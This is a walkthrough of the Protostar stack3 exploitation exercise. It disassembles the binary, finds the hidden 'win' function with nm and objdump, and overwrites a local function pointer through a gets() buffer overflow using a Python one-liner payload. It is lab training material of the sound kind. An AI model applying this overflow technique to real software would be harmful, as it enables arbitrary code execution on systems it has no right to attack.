Protostar - stack3
In this third exercice of our series, we'll modify call flow of the program. Our goal is to call a hidden function within the program, through a stack based stackoverflow
Static analysis
Let's annotate the objdump
output:
08048438 <main>:
8048438: 55 push ebp
8048439: 89 e5 mov ebp,esp
804843b: 83 e4 f0 and esp,0xfffffff0
804843e: 83 ec 60 sub esp,0x60
8048441: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 ; init local variable to 0
8048448: 00
8048449: 8d 44 24 1c lea eax,[esp+0x1c]
804844d: 89 04 24 mov DWORD PTR [esp],eax
8048450: e8 db fe ff ff call 8048330 <gets@plt> ; read user input through vulnerable gets()
8048455: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 ; test local cariable against 0
804845a: 74 1b je 8048477 <main+0x3f> ; if variable is zero, leave the program
804845c: b8 60 85 04 08 mov eax,0x8048560
8048461: 8b 54 24 5c mov edx,DWORD PTR [esp+0x5c]
8048465: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048469: 89 04 24 mov DWORD PTR [esp],eax
804846c: e8 df fe ff ff call 8048350 <printf@plt> ; printf("calling function pointer, jumping to 0x%08x", local_variable)
8048471: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c]
8048475: ff d0 call eax ; call local variable
8048477: c9 leave
8048478: c3 ret
Ok so here we still have a local variable, if it's zero, program quits. Else, we call it, like a function.
Our variable is 4 bytes long, size of a pointer. This should be a function poitner.
The vulnerability here is still in gets
which allows buffer overflow to the local function pointer.
By rewriting the function pointer, we'll be able to run the code we want. This is called arbitrary code execution.
Exploitation
root@protostar:/opt/protostar/bin# file stack3
stack3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
The binary is not stripped: it contains debug symbols. Those symbols can be function names, arguments, filenames, lines, basically everything usefull to debug the program.
A small tool called nm
is very useful to list symbols. Let's have a try:
root@protostar:/opt/protostar/bin# nm stack3
080495a8 d _DYNAMIC
0804967c d _GLOBAL_OFFSET_TABLE_
0804853c R _IO_stdin_used
w _Jv_RegisterClasses
08049598 d __CTOR_END__
08049594 d __CTOR_LIST__
080495a0 D __DTOR_END__
0804959c d __DTOR_LIST__
08048590 r __FRAME_END__
080495a4 d __JCR_END__
080495a4 d __JCR_LIST__
080496a4 A __bss_start
0804969c D __data_start
080484f0 t __do_global_ctors_aux
080483a0 t __do_global_dtors_aux
080496a0 D __dso_handle
w __gmon_start__
080484ea T __i686.get_pc_thunk.bx
08049594 d __init_array_end
08049594 d __init_array_start
08048480 T __libc_csu_fini
08048490 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080496a4 A _edata
080496ac A _end
0804851c T _fini
08048538 R _fp_hw
080482e0 T _init
08048370 T _start
080496a4 b completed.5982
0804969c W data_start
080496a8 b dtor_idx.5984
08048400 t frame_dummy
U gets@@GLIBC_2.0
08048438 T main
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
08048424 T win
Something similar can be achived with objdump:
root@protostar:/opt/protostar/bin# objdump -t stack3 | grep text
08048370 l d .text 00000000 .text
080483a0 l F .text 00000000 __do_global_dtors_aux
08048400 l F .text 00000000 frame_dummy
080484f0 l F .text 00000000 __do_global_ctors_aux
08048480 g F .text 00000005 __libc_csu_fini
08048370 g F .text 00000000 _start
08048424 g F .text 00000014 win
08048490 g F .text 0000005a __libc_csu_init
080484ea g F .text 00000000 .hidden __i686.get_pc_thunk.bx
08048438 g F .text 00000041 main
In either case, we should observe the win
function, located at 0x08048424
. Neat!
Let's try the usual buffer overflow payload to which we'll append four bytes to overwrite the local variable:
root@protostar:/opt/protostar/bin# python -c 'print "A" * 64 + "acbd"' | ./stack3
calling function pointer, jumping to 0x64626361
Segmentation fault
Code is jumping to 0x64626361
, the adress we wrote as the character sequence acbd
.
There is nothing here but this doesn't prevent the program to jumps there. The program is crashing and the operating system handles it by wiping it and signals the user with a "Segmentation fault".
Now let's replace the abcd
by our win
function address:
root@protostar:/opt/protostar/bin# python -c 'print "A" * 64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Awesome!
Top comments (0)